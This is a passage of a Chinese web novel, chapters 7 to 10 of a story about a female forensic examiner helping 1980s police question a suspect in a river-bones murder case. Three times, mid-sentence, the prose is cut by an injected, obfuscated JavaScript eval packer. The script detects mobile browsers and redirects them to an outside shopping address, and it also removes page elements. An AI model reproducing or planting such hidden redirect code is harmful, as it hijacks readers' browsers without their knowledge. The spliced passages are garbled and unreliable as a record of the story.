《穿到八零当验尸官》 7. 河底沉骨7 一具巨人观的尸体,两具残骨,算得上大案子,宁越他们忙了一天也没个头绪,只找到个做贼心虚的,可却没有物证人证,对方也跟个牛皮糖一样,腻腻歪歪的,他是真有点焦头烂额了。 听见有新发现,宁越立马精神起来,“小许人呢?让她先去我办公室,我马上到。” 他想借机摆脱嫌疑人家属,可没等他往外走,胡大姐已经认出了胡东。 这位大姐健步如飞,冲出去拍着胡东的肩膀:“哎哟,大兄弟,可算找见你了,我早就听你妈说你在公安局上班呢。” 她这一嗓子把胡东吓得一哆嗦,他实在记不起有这么个亲戚,要是在街上碰到,肯定要好好回忆回忆,这种场合,就算记得也不能认啊。 这大姐一看就不是个讲理的人,胡东只能装傻。 可人家特别有耐心,“你不记得了,我小时候还抱过你呢,我跟你爸老家是一个村的,算是你远房表姑,东东,你表姑夫的事你可不能不管啊。” 宁越见许天就在门外,忙招呼她上楼,顺便给了胡东一个自求多福的眼神,示意他想办法把这位大姐安抚好送走。 许天听说这位就是嫌疑人家属,马上看了眼她的手,指甲留得很短,右手大拇指的指甲缝里还泛着黑,指甲表面不算光滑,但没有涂抹指甲油的痕迹。 显然抓伤张猛的应该不是她。 宁越留意到许天打量胡大姐,上楼时低声跟她解释着:“这是张猛妻子,骗过门卫跑进来闹事,张猛被我们发现时异常心虚,答非所问,一开始明确承认过看见过死者,之后又否认,说不一定是他。怎么说呢,不管这人是不是凶手,他心里一定有鬼。” 他推开办公室的门,请许天先进去,又问:“检测怎么样?能在他的伤口里找到痕迹吗?” 许天把检验报告递给他:“我把提取出的皮屑和死者做了比对,这伤应该不是死者造成的……” 宁越突然想起什么,“小许,我怎么记得咱们局里做不了DNA检测啊,得送去省城吧,而且也没这么快,最快也得五天时间,你这么快就检验出来了?” 许天笑笑:“您说得对,因为时间短,仪器粗糙,检验结果不够精准,但在这案子上够用了,因为伤口里留下的皮屑是女性皮肤组织,死者是男性。” 宁越惊讶道:“哦,这样啊,就一块皮屑,都能检测出是男是女?” “皮屑是人体表层新陈代谢时,脱落下来的角质层细胞,当然能检测出来。对了,我还在他伤口里发现了红色指甲油的残留,再加上女性的皮肤组织,他的伤大概率是女性造成的。” 宁越发现许天很少说太肯定的话,按照她的检测结果,应该说百分之百是女性啊。 “大概率?为什么这么说?女性皮肤组织加指甲油,这肯定是女性啊。” 许天把检验报告递过去:“我师父说过,只说结果,其他事留给你们判断。虽然在他伤口里发现了女性皮肤组织,但他的伤已经两天了,也许是他这两天跟其他人亲密接触过,至于指甲油,没人规定只有女性可以涂指甲油啊。” 宁越被她逗乐,“女同志我都没见谁抹过那玩意,男同志怎么可能抽风把指甲染成红的?” 许天嘴角抽了抽,八十年代的人还是单纯啊,以后多了去了,不过现在社会氛围还很保守,她在单位和家里大院,确实没见谁化过妆。 宁越看着检验报告,想起张猛那些狡辩的话,不由眉头紧皱,“难不成这家伙没撒谎?” 许天手指做了个翻页的手势:“宁队,你往后看,通过伤口的痕迹鉴定,我画了示意图,想还原一下张猛被抓现场,两人最有可能的姿势是张猛从后面抱住抓伤他的人,对方想摆脱他,用右手抓了他的左手腕。” 宁越忙翻到后面看,那页上还附着用拍立得拍出来的伤口照片,图画得简单却清楚明了,他忙用左右手试了试,伤的位置确实符合。 他又往后翻,还有一页是张猛胸部照片,下边写着‘轻微皮下出血,疑似外力击打。’ “我还检查了张猛的上半身,打斗中双臂和肩胛骨容易受伤,他的这两个位置没问题,但右胸有瘀青,我推断应该是对方挣扎时造成的,总之张猛没说实话,就算是女人抓伤的,也绝对不是他所说的误会。” 宁越靠在桌上,打量着许天,惊讶极了:“小许啊,你这效率也太高了吧,心也细,我都没想到检查一下他全身。” 以前有高科技辅助,许天还能更快,现在都是手写,麻烦得很。 宁越是真觉得捡到宝了,重复着:“太快了,太快了。” 许天见他语气飘忽,若有所思的样子,还以为是自己出报告的速度太快,导致他以为自己在敷衍。 于是她上前一步,解释道:“现在我手头只这一件案子,自然快啊。这样吧,宁队,咱们做个还原,你从后边假装搂住我,试图控制我。我下意识的动作肯定是抓你的手,肘击你的胸,这都不需要学习防身术,当身体健康的人被人从后边抱住,惊慌失措下都会这样挣扎。” 许天说着一转身背对宁越站到他身前,她的发丝飘过,宁越闻到一股若有若无的香味,像是香皂又像是花香。他脑子突然就转不动了,机械的根据许天的指挥假装匪徒要搂她的腰。 虽然状况突然,但宁越理智还在,绅士地没有触碰许天,只是做个样子。 许天倒是没多想,她以前在实习单位经常帮忙做测试,像是高空坠落或是其他危险的事,会用假人。 还有模拟血液喷溅测试,抓痕砍伤捅伤,会用特殊橡胶,塑形泥或是其他拟人工具。 还有很多时候会真人上阵,做这种打斗、追逃、反击实验。 现在被抓伤的是男性,抓人的是女性,她跟宁越做这个实验很合适。 许天心无旁骛,一边做出挣扎的动作,一边示意宁越看自己的手,“你看,挣扎时抓的位置和用力的角度是不是跟照片上的一样?还有我的右肘,正好击在你的右胸上。” 宁越到底是个干练的刑警,心猿意马几秒,马上回神,他认真听着,“没错!位置和方向都符合。” 两人正说着,门突然被人推开,胡东一脸晦气地闯进来,“我的妈啊,宁队,那大姐可真难缠……啊……” 他话没说完就叫了一声,然后跟被定住一样站在门口,满眼惊讶地看着两人。 宁越忙退后一步,“胡东,你别多想,我跟许法医只是做个实验。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263329|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许天没觉得有什么,两人并没紧贴着,可以说身体没有接触,只是做个样子,又是工作需要。 可宁越这反应反而有点此地无银了。 她干脆招呼胡东:“胡队,你来试试,你站宁队前边假装抓伤张猛的女人……” 胡东此时满脑子八卦,哪里听得进去,他跟做贼一样回身关上门,嬉皮笑脸地凑到宁越身边:“老大,看来我来得不是时候啊,你也太厉害了吧,才不到一天,你就把咱们的美女法医收了?” 他说着转头看许天:“许法医,我是不是得改口叫嫂子了?” 宁越看许天脸色越来越难看,一巴掌拍在胡东脑袋上,“脑子进水了?乱说什么?我们在工作,什么嫂子,还不赶紧道歉。” 昨天晚上两人离开殡仪馆去绿营公园时,还讨论过许天,胡东话密,包括来接许天的孟浩,还有殡仪馆要追她的那位周州,都是他的话题。 他还说这样的美女法医,自己要是没谈着,肯定也要追她,甚至鼓励宁越去追。 宁越当时只说人家有男朋友。 现在胡东看到这场面,自然以为宁越口是心非,嘴上不在乎,行动却没耽搁,进度快得都已经搂搂抱抱了。 许天听着胡东这些胡话,十分后悔自己刚才的冲动之举,就算要做实验也得挑个人多的时候啊,这可是八八年,男女坐一块说句话都能传出绯闻来。 虽然知道自己也有责任,可她还是很不高兴,这不问青红皂白就瞎咧咧的毛病,她可不惯着,道歉都不好使。 许天对胡东冷笑:“胡队,别说我跟宁队没关系,就算有,我请问咱们公安局什么时候有叫大哥大嫂的歪风邪气啊?还有什么叫收了?就算我是妖,你也得有那个本事,都说了这是实验。既然你不信,那咱们两个来试试吧。” “啊?”胡东倒也不傻,一听就知道她真生气了。 他再看了眼宁越递过来的检验报告,上边那幅示意图画的就是刚才他俩的动作,他马上明白了,忙摆手道,“小许,我开玩笑的……” 许天却已经站到他身前,“你假装搂我,我给你示范一下。” 宁越以为是许天爱较真,想演示给胡东看,就给他使个眼色,“就是实验,正好一男一女测试抓伤,你配合一下,绅士点。” 胡东只好假装去搂许天,许天像刚才那样讲解着:“如果被搂住的女性很弱小,双臂都会被身后的人控制住,连把人抓伤的机会都没有。所以我猜测这位女士身体健康,有些力气,根据张猛的身高推测,她的身高应该在一米六三以上,才能在张猛手腕造成这样的抓伤,还肘击了他的胸部。” 胡东认真听着,多少有些不好意思了,原来他们真在说正事,刚才该问清楚的。 他以为讲到这里就结束了,可许天突然抓住他的手腕,又道:“当然了如果被搂住的人练过的话,就不需要这样挣扎,这种角度直接来个过肩摔是最简单的,就像这样。” 她话音未落,膝一沉腰一弯,就听胡东啊的一声,腾空而起,从她头顶翻过去,摔在了地上。 宁越吓得后退一步,都看傻了。 他记得去省厅开会时,忘了听谁说过,惹谁也别惹法医,原来都这么彪悍的吗? 8. 河底沉骨8 许天虽然用了狠劲,但还是很有分寸的,并没有真的伤到胡东。 她也只是想给他个教训,如果这次她因为一句道歉就轻轻揭过,那他以后肯定会蹬鼻子上脸。 就得在一开始划清界限,用实际行动告诉他们,她不喜欢别人开这种玩笑。 宁越见胡东没事,站一边强忍着笑意,“胡东,你这下盘不稳啊,居然被女同志过肩摔?” 胡东根本没防备,摔了个四仰八叉,还好在警校练格斗的底子还在,落地时做了保护动作,再说许天也没想真把他怎么样。 他一翻身坐起来,怔怔看着许天,一脸懵逼。 谁能想到看起来娇滴滴的小姑娘,下手这么狠呢。 就他这身高体重不说碾压小姑娘,怎么说也不是一个量级的,人家居然轻轻松松过肩摔,这脸可丢大发了。 许天不想跟他们闹僵,“胡队,没事吧,我都跟你说了要过肩摔,你怎么一点防备都没有?” 宁越想到她刚才那些话,知道她叫胡东演示时,就准备摔他了,不由噗嗤一声笑出来,“对啊,人家小许都说了,练过的肯定不能束手就擒,你怎么还傻站着,这下摔结实了吧。” 胡东跟梦游一样站起身,揉揉屁股,盯着许天:“不是,小许啊,你不是医科大学的大学生吗?法医学科还学擒拿格斗?这是要抢我们刑侦的饭碗啊?” 许天笑道:“学校没教,这只是我的兴趣爱好,胡队要是想摔回来,我随时奉陪。” 胡东慌忙摆手,“免了免了!我摔赢了你,我一个大男人还是队长,那是以大欺小。输了的话,更没脸见人了!今儿这事,咱就到这儿,我跟你道歉,是我口无遮拦。小许,你气也出了,我也知道错了,咱儿就当这事没发生过,成不成?” “好啊,那咱们说正事吧。” 许天也不是得理不饶人的,既然他把话挑明,她也干脆承认,这一摔是为了出气。 宁越这时才拿出刑侦队长的派头,正色道:“老胡,咱们跟法医处以后要紧密合作,小许是女同志,又刚毕业,咱们要多爱护多帮助。你可别像跟队里其他人一样,随便开玩笑了。要是有那嘴碎的人爱说三道四,咱们要是听到了,也得管管,懂不懂。” 胡东心里不由吐槽,昨天晚上宁队也跟他聊过许法医啊,现在又装正经人了。 宁越不是个死板严肃的上司,平时胡东经常跟他开玩笑,可现在见他板起脸来,胡东虽然心里吐槽,脸上还是很认真很服从。 “知道了,放心吧。” 许天还以为宁越只是看热闹,见他维护自己,心里一暖,忙道:“多谢宁队,不过没必要把我当新人,我只是不爱开这种低俗玩笑,没那么难相处,有什么需要尽管吩咐,只要是我本职工作,责无旁贷。” 她说完就想回法医处,宁越指指桌前的椅子,“别急,先坐一下,讨论一下案情。” 许天该说的都说了,人家刑侦队应该也不会跟她讨论该怎么查案,不过也许是宁越对检验报告还有疑问,她也没说别的,坐到一旁。 胡东坐到另一侧,从桌上拿过检验报告,跟宁越一样感叹道:“许法医的报告确实很详细很专业,也就是说抓伤张猛的确实是女人?这混蛋,一嘴一个冤枉,就是不肯说实话。” 宁越笑道:“我说他到底是不是你表姑夫?” “放心吧,队长,我还能徇私舞弊啊?是不是的关系不大,不过现在他什么都不肯说,颠三倒四,哪怕听出他话里有漏洞,也逼不出实话啊。还有那大姐,就是不肯走啊,在下边等着呢。” 宁越想了想:“老胡,你再去跟胡大姐谈谈,问一问张猛身边有没有染红指甲的女人,身高一米六三以上。” 胡东刚看完报告,他嘴角挑了挑,“宁队,你觉得这事跟感情有关?难道我这位表姑夫出轨了?” “抓伤他的人可能是熟人,也可能是他骚扰了陌生人,如果只是发生冲突,那女人把他抓伤,他没必要跟警察撒谎,更没必要鬼鬼祟祟跑去河边啊。当一个人被当作杀人犯带回公安局时,他还会隐瞒自己的道德问题吗?总之我觉得张猛这个伤口可能跟绿营公园的案子有关,必须找到涂红指甲油的女人。” 胡东点头:“明白,我这就去。” 等他走了,胡东带许天出了办公室,他指指审讯室的门,“小许,帮我个忙。” 许天一愣:“宁队?你要我去审讯?” 虽然诧异,但她还是有点小激动,法医可没这个权利也没这个机会。 胡东笑道:“是辅助审讯,把你刚才那套痕迹推理,进去给他演示一遍。” 许天瞬间明白了,“指甲油也要说,是吧,攻破他的防线,让他觉得咱们已经胜券在握了?” “反应很快嘛,没错,就是这样!” 许天还是第一次进审讯室,里边很简陋,已经有记录员坐在那儿了。 审讯桌看起来就冷冰冰的,坐在那张桌子后边,两边墙上写着‘坦白从宽,抗拒从严’的大字,确实很有压迫感。 张猛在椅子上坐立不安,眼睛时不时地往左手腕上瞅,显然他在担心化验结果。 现在见刚才处理他伤口的法医进来,他不由紧张起来,“我……我可以走了吗?这事真跟我没关系,我就是嘴贱,又好奇跑到河边去了,这伤真是一个女的抓的,我不认识她,甚至没看清她长什么样儿,我真是不小心碰到她了,她抓完我就喊流氓,我哪儿敢看啊,赶紧跑了。警察同志,我真是冤死了,一进这地方,名声肯定毁了……” 他好像真的很委屈,说着说着,眼泪都要掉下来了,可眼神却机灵得很,还两次扫过许天的脸。 许天发现了他的打量,再想起他在法医处脱衣服时,那个暧昧的表情,自然知道这人没有表现出来得那么老实。 她看了眼宁越,他把她一个法医拉进审讯室,估计不只是为了还原现场。 宁越观察着张猛的反应,不疾不徐地把椅子给许天拉开,“许法医,坐吧,这次多亏了你,没想到居然能在这么小的伤口里找到证据。” 他这话一出,张猛傻了,转头看着许天:“小姑娘,你可不能助纣为虐啊,我这伤能化验出什么,还不是他们找不到凶手就要栽赃我。” 宁越道:“张猛,对于对方的性别,你确实没撒谎,检验结果表明抓伤你的确实是女人。再给你一次机会,跟我们认真描述一遍,对方是在什么情况下抓伤的你?” 张猛皱眉,“我刚才不是说清楚了吗?你就是想冤枉我!” 许天叹口气:“张猛,我们经过痕迹推理发现,她是在你想搂抱她时,用涂着红色指甲油的左手抓伤的你。” “我……什么红指甲油?”张猛结巴起来,瞬间慌了神,“你……你推理……你看……?” 许天摇头,含糊道:“我没看到,不知道其他人有没有……” 宁越却打断她的话:“张猛,你觉得呢?若要人不知除非己莫为,我们已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263330|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经知道当时的情景了,要不要我们给你演示一遍?” 他说着示意许天站起身,两人在张猛面前演示了当时的场景。 许天肘击后,指了指宁越的胸,又指指张猛胸前同样的位置,“你那里有瘀青,就是这样造成的对吗?她还用红指甲抓伤了你的手腕?也不知道你其他地方还有没有伤。” 她说着眼睛往他的下三路扫。 那眼神把张猛吓得,叉开的腿马上并拢起来,他不可置信地看着她:“这些都是你们化验出来的?不可能,绝对不可能!你们在诈我对不对?” 宁越嘴角露出个不易察觉的微笑,“抓伤你的人跟我们这位女同志身高差不多,对吗?可惜了,那位女同志没学过防身术,你要是攻击我们这位同志,绝对不会得逞,她一个过肩摔就能把你摔晕过去。” 张猛好奇地打量了许天一眼,见她瞪过来忙又转开眼,嘴里还是忍不住说:“就她?” 许天瞪着他:“不信的话,你可以试试。张猛,你也就会欺负弱小,你想欺负那位女同志,她却伤到了你,你一定很生气吧,你到底把她怎么样了?” 张猛不理她,努力平复着自己的心情。 许天却跟宁越说:“宁队,要不也把他的下半身检查一下吧,男人从后边搂抱女人,基本可以断定是为了性,他……” 张猛立刻大怒,“不行,你们这是侮辱人,我不同意!我要见你们领导。” 许天笑了:“你想多了吧,领导怎么会管这种事?” 她眼睛又瞄向他下三路:“不对啊,一个大男人干吗怕人看啊,你这么激动,不会是下边出问题了吧?难不成你……” “闭嘴,你个贱女人,这里轮不到你说话!” 张猛原形毕露,面目狰狞:“你在胡扯些什么?你们女人都一样愚蠢,就不该让你们管事。” 许天冷笑:“女人怎么了?刚才在法医处谁求我来着?瞧不起女人啊?你还是女人生的呢。敢不敢回家跟你妈说这种话?” “我看你是找死!你他妈的再敢多说一句,看我不弄死你?”张猛大叫着。 许天笑了一声,嘲讽意味十足,“你现在可是阶下囚,想弄死我?看来是被我说中了!恼羞成怒吧。你真不是男人?难道那位红指甲的女士不小心发现了你的秘密,你才硬来的?不对不对,你怕是硬不起来啊。” 宁越差点又笑出声,许法医不喜欢别人开玩笑,她自己说话倒是很大胆。 他是真没想到许天还能给他这样的惊喜,其实检验报告的结果,他可以自己在审讯中利用起来,叫许天过来只是想利用她的女性身份。 刚才审讯时他就发现了,张猛对女性很轻视,一直说抓伤他的女人自恋又愚蠢,各种贬低。 许天刚检验过张猛的伤,胡东又说张猛好像对她心存好感,他就想看看张猛的反应。 没想到许天自由发挥起来,效果意外的好。 张猛被她一句硬不起来激怒,猛地站起身,却被手铐束缚,他更怒了:“贱女人,你要不要试试我硬不硬得起来?实话跟你说吧,你嘴里的女士就是个婊子,她是出来卖的,没把老子伺候好,被我扔进水里了!” 他在盛怒下说出这句话,脑子瞬间清醒了些,反应过来自己说了不该说的,颓丧地坐回椅子上。 许天冷冷看着他,被这种人骂,没必要生气,只是觉得可惜。 在发现指甲油残留后她一直很担心那位女士,没想到真出事了。 9. 河底沉骨9 许天以前也接触过不少骇人听闻的案子,可从电子档案上阅读案卷,到底不如直面罪犯的冲击力大。 张猛不肯再开口,宁越也不急,“那位女士的身高、特征,甚至职业我们都知道了,你觉得还瞒得住吗?” 张猛看了许天一眼,眼神又闪烁起来:“我刚才就是吓唬她玩呢,你刚才不是说她很厉害吗?我不喜欢别人这么看我,我就是说着玩的,想吓吓这小姑娘。警察同志,我听说你们昨天在那里捞了一天,那河里也没捞出来女尸吧?我真是说着玩的,怎么可能杀人。” 许天看着他假装轻松的样子,怒道:“我看你还真是不见棺材不掉泪啊。” 张猛冲动之下说错了话,此时已经悔青了肠子,他不敢再多说,多说多错,反正他们没找到尸体。 连死者尸体都找不到,怎么能定他的罪? 宁越见他还想硬抗,也没再跟他浪费口舌。 他带许天出来,笑道:“小许,没想到你反应很快嘛。” “宁队长,下次你想利用我刺激罪犯,最好直接跟我说,能配合的我一定好好配合。” 宁越一愣:“哈哈,说不上利用,我刚不就说了吗?辅助审讯,这张猛被带来时已经做好了面对警察的准备,他一直喊冤枉,一直死抗,我就想换个人试试。” 许天倒也没生气,不管宁越出于什么考虑,她的介入确实诈出了张猛的实话。 她道:“可我觉得你用我刺激他的效果,还不如请楼下那位大姐上来,她一看就脾气不好,应该很不讲理。而张猛又是个看似老实,实则奸诈的人。我猜他们的婚姻生活中,一定很压抑,张猛才会从别处寻求作为男人的满足感。” 宁越想起她刚才彪悍的发言,不由笑了:“你年纪轻轻,怎么连婚姻生活都懂。” “不用懂,没吃过猪肉还没见过猪跑吗?我在学校也喜欢研究这些案例,现在看来案子越来越复杂。现在有三个疑问,一是这个红指甲的女人尸体在哪儿?二是那两具上肢残骨又是谁的,还有巨人观的死者也还没有确定身份。最大的疑问是他们怎么都凑到河边去了?难道是张猛抛尸时被巨人观的死者发现,于是他把那人推进水里淹死了。而淹死的位置以前也曾经有人抛过尸,所以以前的残骨才被一起拽起来。” 许天分析完,问道:“宁队,你说这个抛尸的人会不会也是张猛?” 宁越认真听着,笑道:“你想象力还挺丰富,你的意思是说张猛是连环杀手,之前已经杀了两个,扔到了河里。两天前他在扔第三具受害者尸体时,被人发现,于是他顺手把目击者推进河里灭口,然后又转移了第三名受害者尸体,也就是抓伤他的女人。那他为什么不把目击者的尸体也处理了?来不及?还是自信不会被人发现?” 许天道:“这我就不清楚了。反正我觉得张猛被气得失去理智时说的那些话一定是真的。抓伤他的女人肯定是被他杀了,得找到尸体才行。还有这名受害者和巨人观的死者死了才几天而已,都没人找他们吗?他们在本地没有亲朋好友?一个认识的,会找他们的人都没有?” “这也是我奇怪的。”宁越摊摊手:“根本没人报案!本来我想让张猛帮着画一下死者画像,可看他这样子肯定是不肯配合了。” “那我去趟殡仪馆,尝试复原一下死者容貌吧。不过我没有更精细更专业的工具,最终效果可能不尽人意,或者需要更长时间,等有进展我会马上通知你们。” 宁越越发觉得贴心,“之前局长跟我说来了个专业法医,我还怕是只会纸上谈兵的书呆子,没想到居然这么全能。小许,多谢你了,你可给我帮了大忙。” 许天潇洒道:“分内事而已,道什么谢啊。” 两人正说着,胡东过来了,“宁队,张猛老婆听到红指甲的女人,吓了一跳,看她那反应,应该是认识,可她慌张地否认,说从没见过,也没听过,还说他们一家子交往的都是正经人。” 许天不由皱眉:“涂红指甲就不正经吗?还是说她知道那女人的职业,才会这么说?” 宁越沉吟片刻,“你刚才的提议不错,得把这位胡大姐好好审一审,再让他们夫妻见面看看两人反应。” 许天不急着去殡仪馆,她先用宁越办公室的电话打给周州,麻烦他先准备好解剖室,把尸体推进去,又约好了一小时后到。 那位胡大姐嗓门老高了,她打电话时,还听到对方大喊大叫:“我的天哪,我是来接我家老张的,怎么还要审我,我干什么了?什么红指甲绿指甲,我都没见过,我家老张也老老实实的,从来不跟不正经的女人说话,你们不能冤枉人啊。” 许天听得无语,这夫妻两个还真是不是一家人不进一家门啊,都把冤枉二字挂在嘴边,案子还在调查阶段,他们就好像已经含冤入狱,六月飘雪一样。 以她的经验,越是这样叫嚣的人越心虚。 胡大姐坚持说没见过染指甲的女人,宁越干脆让胡大姐相信张猛已经招了。 胡大姐心理素质比张猛差远了,一听张猛承认把人杀了,她瞬间泄了气,哭着道:“完了完了,我家孩子要没爸了,我这个家算是彻底完了,这混球怎么敢杀人啊!警察同志,我就是让他把花出去的钱要回来,我没让他杀人啊!他怎么这么糊涂?” 许天看她说这话时那悔恨的表情,不由叹口气,看来她未必不知道张猛杀了人。跑来这里闹,应该是心虚,怕夜长梦多,想早点把张猛救出去。 现在听见张猛招了,她心理防线瞬间崩塌。 胡大姐擦了把眼泪:“那女人叫什么仙儿,附近镇上的,说是来咱们市打零工,其实就是个暗娼,我家老张也不知道什么时候染上的毛病,把钱都花在她身上了。” 宁越问他:“这女人大名叫什么,住在哪儿?在哪儿打零工?” “我不知道啊,那种贱女人,我干吗要打听她!听了还脏耳朵呢。反正我跟老张的工资都是有数的,我一发现对不上账就跟他干了一架,我让他赶紧把钱要回来,不然就要去举报他嫖,他被我吵得没办法,就去找那个女人,然后一晚上没回来,第二天一大早回来时,他魂不守舍!” 胡大姐说着说着又想哭了:“我怕耽误孩子们上学,等晚上才问老张钱要回来没有,他说要不回来了,不过他让我别担心,他不可能再跟那女人有什么牵扯,我还以为那女的跑了呢。又看到她手上的伤口,我还骂了他几句,说他连个女人都干不过,还被人家打了,让人家跑了。我本来以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263331|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事了,谁知道没两天你们就把他逮到派出所里,后来又说转到公安局了,我一听这事闹大了,河边又发现了死人,我这不就怕了吗?” 她满眼绝望,哀嚎一声:“警察同志,真是张猛把那个仙儿杀了吗?不可能啊,我家老张胆子小得很,在家里从来不敢大声跟我说话。” 许天在外边听得皱眉,原来是这么回事,她还以为是张猛那方面有问题,心理变态才杀人,哪想到居然是为了钱财? 可张猛刚才的反应也太激烈了,是受不了女人的贬低吗? 张猛听说老婆已经招了,冷笑一声:“她知道什么?愚昧无知的女人,整天就知道盯着我那点工资,多买包烟都要唠叨好几天。她能给你们招什么,她看见我杀人了吗?警察同志,实话跟你们说吧,我钱都花在烟酒上了,什么仙儿,其实是编了谎话哄她呢,我就是想看她为了我找女人的事气急败坏。看她像小丑一样跳脚我就觉得好笑。” 宁越盯着他眼睛:“看来仙儿的尸体你已经处理妥当了?不怕我们找到对吗?埋了?还是烧了?” “我没见过,不知道!”张猛也不知道哪儿来的底气,话越说越硬气,抵死不招。 嫌疑人不肯招供,工作难度大增。 宁越只好接着部署排查,得找到‘仙儿’的真实身份,绿营公园那边也得接着捞尸,还得把张猛家搜查一遍,再把张猛家到绿营公园这个范围里,适合埋尸的地方都搜查一遍。 许天也带着小李在约好的时间到了殡仪馆。 周州知道她有男朋友后,很明显没那么热情了,又见她带来个男同事,就更兴趣缺缺的样子,把钥匙给她,就摆摆手:“我还有事要忙,你们忙完了自己收拾好啊。” 许天没空在意他的态度,接过钥匙进了解剖室。 见小李戴鞋套的时候,犹犹豫豫地,她不由问:“你是第一次进解剖室?” “嗯,去年有过一桩大案,请省城的法医来过一次,不过人家是个小组,根本用不着我。”小李抱怨着,“说实话啊,其实还不如让我跟着宁队长他们去捞尸呢,也不知道当时怎么分配的,硬把我按在法医处。” 等那具尸体推出来,他更一副反胃又害怕的样子。 许天看他那难受的劲儿,无奈道:“现在已经处理过,没什么味道,要是你昨天来,胆汁都得吐出来。这你都受不了,应该是心理作用,要真接受不了,就赶紧想办法调职,要想在法医处干,就赶紧调整好心态,首先别怕。我们在帮助受害者找到真相,这是很有意义的工作,他不会在意我们的冒犯。” 小李虽然有点怂,但不想被比自己小且比自己资历浅的女同志看扁,他努力装出不在乎的样子,“哈哈,我不是怕,就是不习惯,没事,需要我做什么你就说,我给你打下手。” 许天拿起准备好的工具,“我们要帮他消肿,尽量还原他的容貌,我指哪个工具你就递给我,一个污物瓶装满了,就换下一个。想吐就把东西放好后再去吐,不丢人。” 小李深吸一口气:“明白了,开始吧。” 两人刚准备好,周州突然又推门进来,他笑嘻嘻的,好像刚才那个冷脸的人不是他一样。 “许法医,需要拍照的吗?” 10. 河底沉骨10 许天有些意外,这个周州刚才还一副拽拽的样子,变得也太快了,难道是被领导批评了? 除了这个可能,她也想不出其他原因,除非他人格分裂。 许天没明确回答,只说:“如果你忙的话,我们应付得过来。” “不忙,不忙!”周州一边说着一边凑过来,毛手毛脚地就去揭盖尸布。 许天想还原面部,只把上边揭开了,见他如此,不由皱眉:“不用揭下边。” “哦,我先帮你检查一遍,哈哈,放心,我懂规矩,你们弄你们的,我先检查一遍就帮你们拍照……” 许天皱眉看着他,他这样子不像来帮忙的,倒像是来找东西。 她一边拿起仪器在死者脸上找合适的位置,一边用眼角余光观察着周州。 小李以为周州是来添乱的,有些不高兴,但又在人家地盘上。 他正琢磨着怎么不着痕迹说他两句,就见许天突然放下手里的针管,大声道:“周哥,你找到什么了?” 不只小李吓了一跳,就是周州也吓得一哆嗦,他伸手把盖尸布弄好,憨笑着:“我就是检查一遍,没找什么啊。” 许天一直盯着他,虽然他站到了死者左腿边,跟她是对角线位置,她没看清他拿了什么,但只从动作和眼神,她很确定他从解剖床上捡起了什么东西。 这让她有些后悔,也许不该提前让殡仪馆这边准备,只是这也算是常规操作了。一具死尸而已,该取证的已经都取证了,也不怕污染或破坏,还能出什么事? 许天放下手里的东西,摘下手套朝周州走过去。 周州有一瞬间慌神,“许法医,你快忙吧,我这就帮你们拍照,别耽搁了,这可是大案子。” 他一边说着,手一边往裤兜里放,不知是因为紧张还是什么原因,两次都没能把手插进裤兜里。 许天一个跨步到了他跟前,一把抓住他的右手,“周哥,什么东西啊?是死者身上的?那肯定跟案子有关系,赶紧给我看看。” 小李都吓傻了,他在法医处已经看见过照片,尸体不是裸的吗?周州还能拿什么?这殡仪馆的人也太恐怖了吧? “没……” 周州还想辩解,许天已经按住了他手腕上的穴位,他啊了一声,手不由自主地松开。 此时他心里也更慌了,这当法医的就是邪门啊,她也没怎么用力啊。 许天看着他手里的东西皱眉,那是个薄薄小小的耳钉,没什么样式,但很明显是女性用的耳钉。 她看着周州心虚的样子,瞬间明白是怎么回事了,但她还是耐着性子问:“怎么回事?这是什么?昨天我已经把他全身都检查过一遍,这东西是从哪儿冒出来的?” “哈哈,许法医,你别紧张,这玩意不是死者的,是我女朋友的。” 周州说着挣脱开许天的手,把东西捏住展示给他们看,“这是我在街上银摊给她打了一对耳钉,结果还没送出去,就丢了一个,我这不就过来找了吗?唉,你说我这毛手毛脚的,居然把东西掉到尸床上了,东西弄脏了没事,怕耽误你们的事啊,幸亏没碰到尸体,万幸啊。” 他好像大大松了口气,轻松地朝许天和小李笑着:“行了,没事。我帮你们拍照吧。” 许天一副公事公办的样子:“周哥,要是只我自己在这儿,我睁一只眼闭一只眼就算了,可我同事在呢,咱们得正规点。这东西找到了,也得走个程序,记录一下才行。” 她说着指指那只耳钉:“你是在哪儿买的?另一只呢?什么时候掉的?你女朋友知道吗?” 周州忙朝她拱手,哀求道:“许法医,不用那么麻烦了,咱们儿仨不是都在这儿吗?把事说清楚就行了。” 他又朝小李笑,“你说是吧。” 小李皱眉,把送女朋友的东西掉在解剖床上?怎么听怎么觉得不对劲,“你新买的?还没来得及送的话应该有包装吧,怎么还一只一只地掉呢?” 